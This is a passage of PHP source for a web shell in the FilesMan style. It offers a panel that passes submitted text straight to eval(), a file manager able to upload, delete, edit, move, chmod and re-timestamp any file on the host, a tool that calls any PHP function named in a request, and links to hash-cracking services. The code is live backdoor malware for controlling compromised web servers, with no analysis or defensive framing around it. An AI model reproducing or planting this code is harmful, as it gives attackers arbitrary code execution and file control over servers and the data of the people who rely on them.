Β  Β  Β  Β  echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
Β  Β  echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
Β  Β  if(!empty($_POST['p1'])) {
Β  Β  Β  Β  ob_start();
Β  Β  Β  Β  eval($_POST['p1']);
Β  Β  Β  Β  echo htmlspecialchars(ob_get_clean());
Β  Β  }
Β  Β  echo '</pre></div>';
Β  Β  printFooter();
}

function actionFilesMan() {
Β  Β  printHeader();
Β  Β  echo '<h1>File manager</h1><div class=content>';
Β  Β  if(isset($_POST['p1'])) {
Β  Β  Β  Β  switch($_POST['p1']) {
Β  Β  Β  Β  Β  Β  case 'uploadFile':
Β  Β  Β  Β  Β  Β  Β  Β  if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo "Can't upload file!";
Β  Β  Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  Β  Β  case 'mkdir':
Β  Β  Β  Β  Β  Β  Β  Β  if(!@mkdir($_POST['p2']))
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo "Can't create new dir";
Β  Β  Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  Β  Β  case 'delete':
Β  Β  Β  Β  Β  Β  Β  Β  function deleteDir($path) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $path = (substr($path,-1)=='/') ? $path:$path.'/';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $dh Β = opendir($path);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  while ( ($item = readdir($dh) ) !== false) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $item = $path.$item;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if ( (basename($item) == "..") || (basename($item) == ".") )
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  continue;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $type = filetype($item);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if ($type == "dir")
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  deleteDir($item);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  else
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  @unlink($item);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  closedir($dh);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  rmdir($path);
Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  if(is_array(@$_POST['f']))
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  foreach($_POST['f'] as $f) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $f = urldecode($f);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if(is_dir($f))
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  deleteDir($f);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  else
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  @unlink($f);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  Β  Β  case 'paste':
Β  Β  Β  Β  Β  Β  Β  Β  if($_SESSION['act'] == 'copy') {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  function copy_paste($c,$s,$d){
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if(is_dir($c.$s)){
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  mkdir($d.$s);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $h = opendir($c.$s);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  while (($f = readdir($h)) !== false)
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if (($f != ".") and ($f != "..")) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  copy_paste($c.$s.'/',$f, $d.$s.'/');
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  } elseif(is_file($c.$s)) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  @copy($c.$s, $d.$s);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  foreach($_SESSION['f'] as $f)
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']); Β  Β  Β  Β  Β  Β  Β  Β  Β 
Β  Β  Β  Β  Β  Β  Β  Β  } elseif($_SESSION['act'] == 'move') {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  function move_paste($c,$s,$d){
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if(is_dir($c.$s)){
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  mkdir($d.$s);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $h = opendir($c.$s);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  while (($f = readdir($h)) !== false)
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if (($f != ".") and ($f != "..")) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  copy_paste($c.$s.'/',$f, $d.$s.'/');
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  } elseif(is_file($c.$s)) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  @copy($c.$s, $d.$s);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  foreach($_SESSION['f'] as $f)
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  unset($_SESSION['f']);
Β  Β  Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  Β  Β  default:
Β  Β  Β  Β  Β  Β  Β  Β  if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $_SESSION['act'] = @$_POST['p1'];
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $_SESSION['f'] = @$_POST['f'];
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  foreach($_SESSION['f'] as $k => $f)
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $_SESSION['f'][$k] = urldecode($f);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $_SESSION['cwd'] = @$_POST['c'];
Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  }
Β  Β  Β  Β  echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
Β  Β  }
Β  Β  $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
Β  Β  if($dirContent === false) { Β  Β echo 'Can\'t open this folder!'; return; Β  Β }
Β  Β  global $sort;
Β  Β  $sort = array('name', 1);
Β  Β  if(!empty($_POST['p1'])) {
Β  Β  Β  Β  if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
Β  Β  Β  Β  Β  Β  $sort = array($match[1], (int)$match[2]);
Β  Β  }
?>
<script>
Β  Β  function sa() {
Β  Β  Β  Β  for(i=0;i<document.files.elements.length;i++)
Β  Β  Β  Β  Β  Β  if(document.files.elements[i].type == 'checkbox')
Β  Β  Β  Β  Β  Β  Β  Β  document.files.elements[i].checked = document.files.elements[0].checked;
Β  Β  }
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post>
<?php
Β  Β  echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
Β  Β  $dirs = $files = $links = array();
Β  Β  $n = count($dirContent);
Β  Β  for($i=0;$i<$n;$i++) {
Β  Β  Β  Β  $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
Β  Β  Β  Β  $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
Β  Β  Β  Β  $tmp = array('name' => $dirContent[$i],
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β 'path' => $GLOBALS['cwd'].$dirContent[$i],
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  );
Β  Β  Β  Β  if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
Β  Β  Β  Β  Β  Β  $files[] = array_merge($tmp, array('type' => 'file'));
Β  Β  Β  Β  elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
Β  Β  Β  Β  Β  Β  $links[] = array_merge($tmp, array('type' => 'link'));
Β  Β  Β  Β  elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
Β  Β  Β  Β  Β  Β  $dirs[] = array_merge($tmp, array('type' => 'dir'));
Β  Β  }
Β  Β  $GLOBALS['sort'] = $sort;
Β  Β  function cmp($a, $b) {
Β  Β  Β  Β  if($GLOBALS['sort'][0] != 'size')
Β  Β  Β  Β  Β  Β  return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
Β  Β  Β  Β  else
Β  Β  Β  Β  Β  Β  return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
Β  Β  }
Β  Β  usort($files, "cmp");
Β  Β  usort($dirs, "cmp");
Β  Β  usort($links, "cmp");
Β  Β  $files = array_merge($dirs, $links, $files);
Β  Β  $l = 0;
Β  Β  foreach($files as $f) {
Β  Β  Β  Β  echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
Β  Β  Β  Β  Β  Β  .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
Β  Β  Β  Β  $l = $l?0:1;
Β  Β  }
Β  Β  ?>
Β  Β  <tr><td colspan=7>
Β  Β  <input type=hidden name=a value='FilesMan'>
Β  Β  <input type=hidden name=c value='<?php echo htmlspecialchars($GLOBALS['cwd'])?>'>
Β  Β  <input type=hidden name=charset value='<?php echo isset($_POST['charset'])?$_POST['charset']:''?>'>
Β  Β  <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option><?php if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){?><option value='paste'>Paste</option><?php }?></select>&nbsp;<input type="submit" value=">>"></td></tr>
Β  Β  </form></table></div>
Β  Β  <?php
Β  Β  printFooter();
}

function actionStringTools() {
Β  Β  if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
Β  Β  if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
Β  Β  if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
Β  Β  if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
Β 
Β  Β  if(isset($_POST['ajax'])) {
Β  Β  Β  Β  $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
Β  Β  Β  Β  ob_start();
Β  Β  Β  Β  if(function_exists($_POST['p1']))
Β  Β  Β  Β  Β  Β  echo $_POST['p1']($_POST['p2']);
Β  Β  Β  Β  $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
Β  Β  Β  Β  echo strlen($temp), "\n", $temp;
Β  Β  Β  Β  exit;
Β  Β  }
Β  Β  printHeader();
Β  Β  echo '<h1>String conversions</h1><div class=content>';
Β  Β  $stringTools = array(
Β  Β  Β  Β  'Base64 encode' => 'base64_encode',
Β  Β  Β  Β  'Base64 decode' => 'base64_decode',
Β  Β  Β  Β  'Url encode' => 'urlencode',
Β  Β  Β  Β  'Url decode' => 'urldecode',
Β  Β  Β  Β  'Full urlencode' => 'full_urlencode',
Β  Β  Β  Β  'md5 hash' => 'md5',
Β  Β  Β  Β  'sha1 hash' => 'sha1',
Β  Β  Β  Β  'crypt' => 'crypt',
Β  Β  Β  Β  'CRC32' => 'crc32',
Β  Β  Β  Β  'ASCII to HEX' => 'ascii2hex',
Β  Β  Β  Β  'HEX to ASCII' => 'hex2ascii',
Β  Β  Β  Β  'HEX to DEC' => 'hexdec',
Β  Β  Β  Β  'HEX to BIN' => 'hex2bin',
Β  Β  Β  Β  'DEC to HEX' => 'dechex',
Β  Β  Β  Β  'DEC to BIN' => 'decbin',
Β  Β  Β  Β  'BIN to HEX' => 'bin2hex',
Β  Β  Β  Β  'BIN to DEC' => 'bindec', Β  Β  Β 
Β  Β  Β  Β  'String to lower case' => 'strtolower',
Β  Β  Β  Β  'String to upper case' => 'strtoupper',
Β  Β  Β  Β  'Htmlspecialchars' => 'htmlspecialchars',
Β  Β  Β  Β  'String length' => 'strlen',
Β  Β  );
Β  Β  if(empty($_POST['ajax'])&&!empty($_POST['p1']))
Β  Β  Β  Β  $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
Β  Β  echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
Β  Β  foreach($stringTools as $k => $v)
Β  Β  Β  Β  echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
Β  Β  Β  Β  echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
Β  Β  if(!empty($_POST['p1'])) {
Β  Β  Β  Β  if(function_exists($_POST['p1']))
Β  Β  Β  Β  echo htmlspecialchars($_POST['p1']($_POST['p2']));
Β  Β  }
Β  Β  echo"</pre></div>";
Β  Β  ?>
Β  Β  <br><h1>Search for hash:</h1><div class=content>
Β  Β  Β  Β  <form method='post' target='_blank' name="hf">
Β  Β  Β  Β  Β  Β  <input type="text" name="hash" style="width:200px;"><br>
Β  Β  Β  Β  Β  Β  <input type="button" value="hashcrack.com" onclick="document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()"><br>
Β  Β  Β  Β  Β  Β  <input type="button" value="milw0rm.com" onclick="document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()"><br>
Β  Β  Β  Β  Β  Β  <input type="button" value="hashcracking.info" onclick="document.hf.action='https://hashcracking.info/index.php';document.hf.submit()"><br>
Β  Β  Β  Β  Β  Β  <input type="button" value="md5.rednoize.com" onclick="document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()"><br>
Β  Β  Β  Β  Β  Β  <input type="button" value="md5decrypter.com" onclick="document.hf.action='http://www.md5decrypter.com/';document.hf.submit()"><br>
Β  Β  Β  Β  </form>
Β  Β  </div>
Β  Β  <?php
Β  Β  printFooter();
}

function actionFilesTools() {
Β  Β  if( isset($_POST['p1']) )
Β  Β  Β  Β  $_POST['p1'] = urldecode($_POST['p1']);
Β  Β  if(@$_POST['p2']=='download') {
Β  Β  Β  Β  if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
Β  Β  Β  Β  Β  Β  ob_start("ob_gzhandler", 4096);
Β  Β  Β  Β  Β  Β  header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
Β  Β  Β  Β  Β  Β  if (function_exists("mime_content_type")) {
Β  Β  Β  Β  Β  Β  Β  Β  $type = @mime_content_type($_POST['p1']);
Β  Β  Β  Β  Β  Β  Β  Β  header("Content-Type: ".$type);
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  $fp = @fopen($_POST['p1'], "r");
Β  Β  Β  Β  Β  Β  if($fp) {
Β  Β  Β  Β  Β  Β  Β  Β  while(!@feof($fp))
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo @fread($fp, 1024);
Β  Β  Β  Β  Β  Β  Β  Β  fclose($fp);
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {

Β  Β  Β  Β  }
Β  Β  Β  Β  exit;
Β  Β  }
Β  Β  if( @$_POST['p2'] == 'mkfile' ) {
Β  Β  Β  Β  if(!file_exists($_POST['p1'])) {
Β  Β  Β  Β  Β  Β  $fp = @fopen($_POST['p1'], 'w');
Β  Β  Β  Β  Β  Β  if($fp) {
Β  Β  Β  Β  Β  Β  Β  Β  $_POST['p2'] = "edit";
Β  Β  Β  Β  Β  Β  Β  Β  fclose($fp);
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  }
Β  Β  }
Β  Β  printHeader();
Β  Β  echo '<h1>File tools</h1><div class=content>';
Β  Β  if( !file_exists(@$_POST['p1']) ) {
Β  Β  Β  Β  echo 'File not exists';
Β  Β  Β  Β  printFooter();
Β  Β  Β  Β  return;
Β  Β  }
Β  Β  $uid = @posix_getpwuid(@fileowner($_POST['p1']));
Β  Β  $gid = @posix_getgrgid(@fileowner($_POST['p1']));
Β  Β  echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
Β  Β  echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
Β  Β  if( empty($_POST['p2']) )
Β  Β  Β  Β  $_POST['p2'] = 'view';
Β  Β  if( is_file($_POST['p1']) )
Β  Β  Β  Β  $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
Β  Β  else
Β  Β  Β  Β  $m = array('Chmod', 'Rename', 'Touch');
Β  Β  foreach($m as $v)
Β  Β  Β  Β  echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
Β  Β  echo '<br><br>';
Β  Β  switch($_POST['p2']) {
Β  Β  Β  Β  case 'view':
Β  Β  Β  Β  Β  Β  echo '<pre class=ml1>';
Β  Β  Β  Β  Β  Β  $fp = @fopen($_POST['p1'], 'r');
Β  Β  Β  Β  Β  Β  if($fp) {
Β  Β  Β  Β  Β  Β  Β  Β  while( !@feof($fp) )
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo htmlspecialchars(@fread($fp, 1024));
Β  Β  Β  Β  Β  Β  Β  Β  @fclose($fp);
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  echo '</pre>';
Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  case 'highlight':
Β  Β  Β  Β  Β  Β  if( is_readable($_POST['p1']) ) {
Β  Β  Β  Β  Β  Β  Β  Β  echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
Β  Β  Β  Β  Β  Β  Β  Β  $code = highlight_file($_POST['p1'],true);
Β  Β  Β  Β  Β  Β  Β  Β  echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  case 'chmod':
Β  Β  Β  Β  Β  Β  if( !empty($_POST['p3']) ) {
Β  Β  Β  Β  Β  Β  Β  Β  $perms = 0;
Β  Β  Β  Β  Β  Β  Β  Β  for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
Β  Β  Β  Β  Β  Β  Β  Β  if(!@chmod($_POST['p1'], $perms))
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
Β  Β  Β  Β  Β  Β  Β  Β  else
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  die('<script>g(null,null,null,null,"")</script>');
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  case 'edit':
Β  Β  Β  Β  Β  Β  if( !is_writable($_POST['p1'])) {
Β  Β  Β  Β  Β  Β  Β  Β  echo 'File isn\'t writeable';
Β  Β  Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  if( !empty($_POST['p3']) ) {
Β  Β  Β  Β  Β  Β  Β  Β  @file_put_contents($_POST['p1'],$_POST['p3']);
Β  Β  Β  Β  Β  Β  Β  Β  echo 'Saved!<br><script>document.mf.p3.value="";</script>';
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
Β  Β  Β  Β  Β  Β  $fp = @fopen($_POST['p1'], 'r');
Β  Β  Β  Β  Β  Β  if($fp) {
Β  Β  Β  Β  Β  Β  Β  Β  while( !@feof($fp) )
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo htmlspecialchars(@fread($fp, 1024));
Β  Β  Β  Β  Β  Β  Β  Β  @fclose($fp);
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  echo '</textarea><input type=submit value=">>"></form>';
Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  case 'hexdump':
Β  Β  Β  Β  Β  Β  $c = @file_get_contents($_POST['p1']);
Β  Β  Β  Β  Β  Β  $n = 0;
Β  Β  Β  Β  Β  Β  $h = array('00000000<br>','','');
Β  Β  Β  Β  Β  Β  $len = strlen($c);
Β  Β  Β  Β  Β  Β  for ($i=0; $i<$len; ++$i) {
Β  Β  Β  Β  Β  Β  Β  Β  $h[1] .= sprintf('%02X',ord($c[$i])).' ';
Β  Β  Β  Β  Β  Β  Β  Β  switch ( ord($c[$i]) ) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  case 0: Β $h[2] .= ' '; break;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  case 9: Β $h[2] .= ' '; break;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  case 10: $h[2] .= ' '; break;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  case 13: $h[2] .= ' '; break;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  default: $h[2] .= $c[$i]; break;
Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  $n++;
Β  Β  Β  Β  Β  Β  Β  Β  if ($n == 32) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $n = 0;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $h[1] .= '<br>';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $h[2] .= "\n";
Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  case 'rename':
Β  Β  Β  Β  Β  Β  if( !empty($_POST['p3']) ) {
Β  Β  Β  Β  Β  Β  Β  Β  if(!@rename($_POST['p1'], $_POST['p3']))
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
Β  Β  Β  Β  Β  Β  Β  Β  else
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  case 'touch':
Β  Β  Β  Β  Β  Β  if( !empty($_POST['p3']) ) {
Β  Β  Β  Β  Β  Β  Β  Β  $time = strtotime($_POST['p3']);
Β  Β  Β  Β  Β  Β  Β  Β  if($time) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if(@touch($_POST['p1'],$time,$time))
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  die('<script>g(null,null,null,null,"")</script>');
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  else {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo 'Fail!<script>document.mf.p3.value="";</script>';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
